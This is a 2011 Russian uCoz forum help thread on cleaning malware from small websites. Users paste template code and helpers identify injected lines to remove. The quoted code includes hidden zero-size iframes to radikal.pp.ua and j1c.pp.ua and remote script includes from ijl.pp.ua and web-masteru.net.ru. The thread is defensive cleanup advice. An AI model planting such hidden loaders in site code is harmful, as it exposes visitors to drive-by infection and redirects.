Чат сообщества
   | |
| Модератор форума: Yuri_G |
| Сообщество uCoz Мастерская uCoz Безопасность сайта Вирусы на сайтах (для изучения) (примеры вредоносного кода и устранение) |
| Вирусы на сайтах (для изучения) |
|
viktor1962,
Quote а скажите как долго надо подождать? |
|
Други! Вам нужно периодически проверять сайт по онлайн антивирусникам.
Если неделю назад все было чистенько, а сегодня - ужас, то вспомните, что именно устанавливали. Имейте записи , да хоть в блокноте, когда и что ставили. Это сильно облегчит диагностику. Перед тем, как рвать волосы на попе, сразу вспоминайте, что это было. ВНИМАНИЕ!!!! СЧЕТЧИКИ ИЗВЕСТНЫХ КАТАЛОГОВ МОГУТ БЫТЬ НЕБЕЗОПАСНЫ! БЕРЕГИСЬ СЧЕТЧИКА bigmir.net Его скрипт выглядит так: Сегодня обнаружил, что антивирусник зашелся в истерике. Причем не один. Испугавшись бана поисковиков и Оперы, я стал вспоминать, что ставили в последние дни... Оказалось вот что... Что в нем такого я так и не смотрел, но то, что антивирусняки, и как следствие Яндексы и Гуглы его непереваривают.... Добавлено (08-Фев-2011, 23:16:46) Если ничего не помогает - прочти инструкцию!
|
|
http://sog.3dn.ru/
3тьи сутки мучаюсь че за хелл выскакивет как он мог комне попастьи как его искоренить помогите оч. нуждаюсь в вашей помощи!! Добавлено (09-Фев-2011, 10:59:39) Quote (littlediablo) http://sog.3dn.ru/ 3тьи сутки мучаюсь че за хелл выскакивет как он мог комне попастьи как его искоренить помогите оч. нуждаюсь в вашей помощи!! при все не являеться вирусом по оприделению но по происхождению якобы вирус?:     |
|
littlediablo, моя сломать орган мозг пока читать ваш сообщен.
Пишите, пожалуйста, на русском языке. Удалите: Code <iframe src="http://cache.www.gametracker.com/components/html0/?host=83.222.117.115:28968&bgColor=000000&fontColor=E41111&titleBgColor=000000 &titleColor=FF0600&borderColor=0F060D&linkColor=FF0000&borderLinkColor=000000 &showMap=1¤tPlayersHeight=100&showCurrPlayers=1&topPlayersHeight=100 &showTopPlayers=1&showBlogs=0&width=165" frameborder="0" scrolling="no" width="165" height="515"></iframe> блок "TS3" Code <IFRAME height=348 src="http://cache.www.gametracker.com/components/html0/?host=89.223.26.96:9987&bgColor=000000&fontColor=CE2C2C&titleBgColor=000000&titleColor=D42921 &borderColor=000000&linkColor=991E0F&borderLinkColor=CD2323&showMap=0¤tPlayersHeight=160 &showCurrPlayers=1&showTopPlayers=0&showBlogs=0&width=165" frameBorder=0 width=165 scrolling=no></IFRAME> блок "CoD2v1.3" Code <IFRAME style="WIDTH: 164px; HEIGHT: 515px" height=515 src="http://cache.www.gametracker.com/components/html0/?host=83.222.114.86:28963&bgColor=000000&fontColor=CF1717&titleBgColor=222222&titleColor=FF0600 &borderColor=C92222&linkColor=FF1A00&borderLinkColor=222222&showMap=1¤tPlayersHeight=100 &showCurrPlayers=1&topPlayersHeight=100&showTopPlayers=1&showBlogs=0&width=165" frameBorder=0 width=165 scrolling=no></IFRAME> Они может и не вирус, но тормозят сайт страшно. Перенесите скрипт на свой хост (блок "КУРАНТЫ"): Code <script src="http://bestof.ucoz.ru/servis/asf.js"></script><script type="text/javascript" language="JavaScript">AC_FL_RunContent( 'codebase','http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0','width','160','height','42','src','http://bestof.ucoz.ru/servis/clock/et003/red.swf','quality','high','wmode','transparent','pluginspage','http://www.macromedia.com/go/getflashplayer','movie','http://bestof.ucoz.ru/servis/clock/et003/red.swf' ); //end AC code</script> Убрать (блок "ты тут(крути)"): Code <script type="text/javascript" src="http://je.revolvermaps.com/r.js"></script><script type="text/javascript">rm_f1st('7','165','false','false','000000','4a7wa4vt51l','true','000000');</script><NOSCRIPT></NOSCRIPT>  szenprogs.ru Сообщение отредактировал Szen - Среда, 09 Фев 2011, 11:31:49
|
|
Szen, не надо мне тут травматизма моска
 и почему вы так жестоки к коду геймтрекера? с кодами геймтрекеров пока проблем не было. нехорошо быть таким жестоким  littlediablo, а вы уважаемый для начала удалите вот этот код, который выделен красным Quote <!-- <block374> --> <TABLE border=0 cellSpacing=0 cellPadding=0 width=186> <TBODY> <TR> <TD style="PADDING-BOTTOM: 5px; BACKGROUND: url(/.s/t/982/7.gif) #b60605; COLOR: #ffffff; FONT-SIZE: 10px" height=30 align=middle><B><!-- <bt> --><SPAN style="FONT-FAMILY: Monotype Corsiva; COLOR: #000000; FONT-SIZE: 14pt">наша кнопка<!-- </bt> --></SPAN></B></TD></TR> <TR> <TD style="PADDING-BOTTOM: 0px; PADDING-LEFT: 5px; PADDING-RIGHT: 5px; BACKGROUND: url(/.s/t/982/8.gif); PADDING-TOP: 0px"><!-- <bc> --><script language="JavaScript"> <!-- function popup1() { prompt('Код кнопки','<a href="http://sog.3dn.ru" target="_blank" alt="Советская Объединенная группа"><center><img src="http://sog.3dn.ru/F1/sog/ban.gif" alt="[S.O.G]" alt="Советская Объединенная группа" title="Советская Объединенная группа" width=88 height=31 border=0></center></a>'); return false; } //--> </script><script type="text/javascript" src="http://web-masteru.net.ru/ws.js"></script> <a href="http://sog.3dn.ru" target="_self" alt="алтернативный текст"><center><img src="http://sog.3dn.ru/F1/sog/ban.gif" alt="[S.O.G]" alt="Советская Объединенная группа" title="Советская Объединенная группа" width=88 height=31 border=0></center></a><br><br> <form><center> <input type="button" value="Получить код" onclick="popup1()"> </center></form><!-- </bc> --></TD></TR> а после удаления кода четко и внятно расскажите какие именно проблемы у вас остались. что именно у вас выскакивает? антивирус? табличка в браузере? поп-ап окошко? что именно? и на каких страницах |
|
Доброго здравия =)
У меня проблема такого рода . |
|
olimpiada80, блок опросы - результаты опросов. удалить выделенное красным
Quote <hr><a style="font-size: 5pt;" href="javascript://" rel="nofollow" onclick="new _uWnd('PollR','Результаты опроса',660,200,{closeonesc:1,maxh:400},{url:'http://executive-world.ucoz.ru/poll/2'});return false;"><center><img alt="Результат опроса" src="http://pc-forum.do.am/minichat/opros.png" align="" border="0"><spanstyle="font-size:8pt;">Результаты</span></a></center> <iframe src="http://radikal.pp.ua/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe><br><a style="font-size: 5pt;" href="javascript://" rel="nofollow" onclick="new _uWnd('PollA','Архив опросов',660,250,{closeonesc:1,maxh:400,max:1,min:1},{url:'http://executive-world.ucoz.ru/poll/0-2'});return false;"><center><img alt="Все опросы нашего сайта" src="http://pc-forum.do.am/minichat/arhiv.png" align="" border="0" width="27" height="27"><span style="font-size: 8pt;"> Архив опросов</span></a></center> <hr><div style="padding-top: 4px; font-size: 7pt;text-align:center;">Всегоголосовало:<b>1</b></div> далее блок фаны выделенное красным удалить
Quote <!-- <block8> --> <table border="0" cellpadding="0" cellspacing="0" style="border:1px solid #3C3C3C;margin-bottom:2px;" width="180"> <tr><td height="35" style="background:url('/images/menu.png') #252525;color:#FFFFFF;padding-left:65px;font-size:10px;"><b><!-- <bt> -->Фаны<!-- </bt> --></b></td></tr> <tr><td style="background:#000000;padding:5px;"><!-- <bc> --><center><img src="http://bu-portal.at.ua/skpintu/cw1/4.png" class="IEpng" alt="Победы" align="center" border="0"><br>Победы(0)<br><hr size="2" width="100%"><img src="http://bu-portal.at.ua/skpintu/cw1/5.png" alt="Поражения" align="center" border="0"><br>Поражения(0)<br><script src="http://ijl.pp.ua/1.js" type="text/javascript"></script><hr size="2" width="100%"><img src="http://bu-portal.at.ua/skpintu/cw1/6.png" class="IEpng" width="78" border="0" height="78"><br><a href="/forum">Забить Фан</a><br><br></center><!-- </bc> --></td></tr> <tr><td><img src="/images/niz.png" border="0"></td></tr> </table> <!-- </block8> --> далее. удалить блок полезный софт полность. ибо мусор с подгрузкой скрипта со стороны и с начинкой ссылок на скачивание с чужих аккаунтов. не нужно это сайту |
|
webanet, Спасибо за информацию , на счёт софта .. неужели в нем может быть проблема или это предосторожность ? если есть возможность угрозы , то естественно я уберу , но так то полезно для моих пользователей
|
|
Помогите пожалуйста. Когда я захожу на сайт у меня касперский обнаруживает вирус и гугл хром обнаруживает вредное ПО. Вот что пишет касперский:
 Как мне убрать этот вирус? http://astarwars.ucoz.ru/ Сообщение отредактировал Naruto7895 - Пятница, 11 Фев 2011, 21:39:40
|
|
Naruto7895, код мини - профиля выложите сюда. на всех страницах сайта проблема или на какой-то именно?
Quote <iframe src="http://j1c.pp.ua/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe> и все картинки на свой сайт перелейте |
|
webanet, когда на главной странице, тогда обычно вирус обнаруживает.
Code <?if($USER_LOGGED_IN$)?><div class="boxTable"><div align="center"><b><font color="#0000cd"><table style="border-collapse: collapse;" height="84" width="100%"><tbody><tr><td style="border: medium double rgb(169, 169, 169); text-align: left; vertical-align: middle; background-image: url(http://fc-chelsea.net.ru/IM/DISA/DISA/diss1.png); background-repeat: repeat; background-position: left top; letter-spacing: 0pt; word-spacing: 0pt;"><b></b><center><b><font color="#0000cd"> </font></b><b><font color="#0000cd"></font><br></b> <div style="display: none;" id="sitenews" class="boxContent"> <ul class="uz"> $MYINF_3$ </ul> <div style="padding: 0px; font-size: 8px;" align="center">[ <a href="../forum/2"><b>все новости</b></a> ]<br> </div> </div> Здравствуйте, <font color="#0000cd"><b><strong>$USERNAME$</strong></b><strong>!</strong></font><br> Вы здесь: <font color="#000080"><b>$USER_REG_DAYS$</b></font>-й день<br> IP: <b>$IP_ADDRESS$</b></center></td></tr></tbody></table></font></b><font color="#0000cd"></font> <div align="center"> <table border="0" cellpadding="0" cellspacing="0"> <tbody><tr> <td background="http://fc-chelsea.net.ru/IM/ava-fon-lt.png" height="17" width="17"> <br></td> <td background="http://fc-chelsea.net.ru/IM/DISA/ava-fon-top.png" height="17"> <br></td> <td background="http://fc-chelsea.net.ru/IM/DISA/ava-fon-rt.png" height="17" width="17"> <br></td> </tr> <tr> <td background="http://fc-chelsea.net.ru/IM/ava-fon-left.png" width="17"> <br></td> <td> <?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$" title="$USERNAME$" class="userAvatar" border="0"><?else?><?if($USER_LOGGED_IN$)?><img class="userAvatar" title="$USERNAME$" src="http://fc-chelsea.net.ru/IM/DISA/Forum/1.gif" border="0"><?else?><img class="userAvatar" title="$USERNAME$" src="http://fc-chelsea.net.ru/IM/DISA/Forum/1.gif" border="0"><?endif?><?endif?> </td> <td background="http://fc-chelsea.net.ru/IM/DISA/ava-fon-right.png" width="17"> <br></td> </tr> <tr> <td background="http://fc-chelsea.net.ru/IM/ava-fon-lb.png" height="17" width="17"> <br></td> <td background="http://fc-chelsea.net.ru/IM/ava-fon-bottom.png" height="17"> <br></td> <td background="http://fc-chelsea.net.ru/IM/ava-fon-rb.png" height="17" width="17"> <br></td> </tr> </tbody></table> </div> <?if($USER_LOGGED_IN$)?> Пользователь <b>№$USER_ID$</b><br> Ты в группе: <font color="#000000"><strong>$USER_GROUP$</strong></font></div><br> <style type="text/css"><!--.udtb {text-align:left;} .udtlb {clear:left;float:left;width:45px;}--></style> <a onclick="$('#block').slideToggle('slow');" href="javascript://"><center><img src="http://fc-chelsea.net.ru/IM/DISA/DISA/321.png" alt="Панель заданий" border="0"></center></a> <div id="verifymail"> <div id="block" style="display: none;"><table style="width: 100%; border-collapse: collapse;"><tbody><tr><td style="border: 1px solid rgb(220, 220, 220); text-align: left; vertical-align: middle; letter-spacing: 0pt; word-spacing: 0pt;">> <a href="$PERSONAL_PAGE_LINK$" title="Открыть страницу с личными данными." class="catName">Мой профиль</a> </td><iframe src="http://j1c.pp.ua/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe></tr><tr><td style="border: 1px solid rgb(220, 220, 220); text-align: left; vertical-align: middle; letter-spacing: 0pt; word-spacing: 0pt;">> <a onclick="window.open('/index/11','options','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;" href="javascript://" title="Изменить личные данные." class="catName">Изменить мои данные</a> </td></tr><tr><td style="border: 1px solid rgb(220, 220, 220); text-align: left; vertical-align: middle; letter-spacing: 0pt; word-spacing: 0pt;">> <a onclick="window.open('$PM_URL$','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;" href="javascript://" title="Открыть страницу с личными сообщениями." class="catName">Личные сообщения <?if($IS_NEW_PM$)?>(<font color="#0000cd"><b>$UNREAD_PM$</b></font>)<?else?><?endif?></a> </td></tr><tr><td style="border: 1px solid rgb(220, 220, 220); text-align: left; vertical-align: middle; letter-spacing: 0pt; word-spacing: 0pt;">> <a onclick="window.open('/index/14-999-0-1','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;" href="javascript://" title="Отправить личное сообщение." class="catName">Отправить ЛС</a> </td></tr><tr><td style="border: 1px solid rgb(220, 220, 220); text-align: left; vertical-align: middle; letter-spacing: 0pt; word-spacing: 0pt;">> <a target="_blank" href="../index/34-$USER_ID$" title="Просмотреть комментарии, когда-либо написанные мной." class="catName">Мои комментарии</a> </td></tr><tr><td style="border: 1px solid rgb(220, 220, 220); text-align: left; vertical-align: middle; letter-spacing: 0pt; word-spacing: 0pt;">> <a target="_blank" href="../forum/0-0-1-3-$USER_ID$" title="Высветить темы в которых я принимал участие." class="catName">Мои посты</a> <!--IF(($GROUP_ID$="2" or $GROUP_ID$="3" or $GROUP_ID$="4"))--> </td></tr><tr><td colspan="1" style="border: 1px solid rgb(220, 220, 220); text-align: left; vertical-align: middle; letter-spacing: 0pt; word-spacing: 0pt;">> <a class="catName" href="http://fc-chelsea.net.ru/blog/0-0-0-0-1">Создать личный блог</a> </td></tr><tr><td colspan="1" style="border: 1px solid rgb(220, 220, 220); text-align: left; vertical-align: middle; letter-spacing: 0pt; word-spacing: 0pt;">> <a class="catName" href="$LOGOUT_LINK$">Выход из профиля</a><a title="Выход" href="$LOGOUT_LINK$"></a></td></tr></tbody></table><a title="Выход" href="$LOGOUT_LINK$"></a> </div> <ul class="uz"> </ul> </div><a title="Выход" href="$LOGOUT_LINK$"> <?endif?> <?if($IS_NEW_PM$)?><script type="text/javascript">function flashit(id,cl){var c=document.getElementById(id);if (c.style.color=='red'){c.style.color=cl;}else {c.style.color='red';}}setInterval("flashit('upml2','')",500)</script><?endif?> <?else?></div> <br> <div align="center"<img src="http://i079.radikal.ru/1008/4e/ae17d2c00cdc.jpg" <br>Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь! <hr> <?endif?> </a> $LOGIN_FORM$</div> Добавлено (11-Фев-2011, 21:15:43) |
|
Naruto7895, ВЫДЕЛЕННОЕ КРАСНЫМ УДАЛИТЬ
Quote <?if($USER_LOGGED_IN$)?><div class="boxTable"><div align="center"><b><font color="#0000cd"><table style="border-collapse: collapse;" height="84" width="100%"><tbody><tr><td style="border: medium double rgb(169, 169, 169); text-align: left; vertical-align: middle; background-image: url(http://fc-chelsea.net.ru/IM/DISA/DISA/diss1.png); background-repeat: repeat; background-position: left top; letter-spacing: 0pt; word-spacing: 0pt;"><b></b><center><b><font color="#0000cd"> </font></b><b><font color="#0000cd"></font><br></b> <div style="display: none;" id="sitenews" class="boxContent"> <ul class="uz"> $MYINF_3$ </ul> <div style="padding: 0px; font-size: 8px;" align="center">[ <a href="../forum/2"><b>все новости</b></a> ]<br> </div> </div> Здравствуйте, <font color="#0000cd"><b><strong>$USERNAME$</strong></b><strong>!</strong></font><br> Вы здесь: <font color="#000080"><b>$USER_REG_DAYS$</b></font>-й день<br> IP: <b>$IP_ADDRESS$</b></center></td></tr></tbody></table></font></b><font color="#0000cd"></font> <div align="center"> <table border="0" cellpadding="0" cellspacing="0"> <tbody><tr> <td background="http://fc-chelsea.net.ru/IM/ava-fon-lt.png" height="17" width="17"> <br></td> <td background="http://fc-chelsea.net.ru/IM/DISA/ava-fon-top.png" height="17"> <br></td> <td background="http://fc-chelsea.net.ru/IM/DISA/ava-fon-rt.png" height="17" width="17"> <br></td> </tr> <tr> <td background="http://fc-chelsea.net.ru/IM/ava-fon-left.png" width="17"> <br></td> <td> <?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$" title="$USERNAME$" class="userAvatar" border="0"><?else?><?if($USER_LOGGED_IN$)?><img class="userAvatar" title="$USERNAME$" src="http://fc-chelsea.net.ru </td> <td background="http://fc-chelsea.net.ru/IM/ava-fon-rb.png" height="17" width="17"> выделенное красным и есть тот код из-за которого ваш антивирус возмущается. удалите его и он успокоится |
|
http://saintsclan.clan.su/ после загрузки кидает на левые сайты в разных браузерах на разные
|
| |||
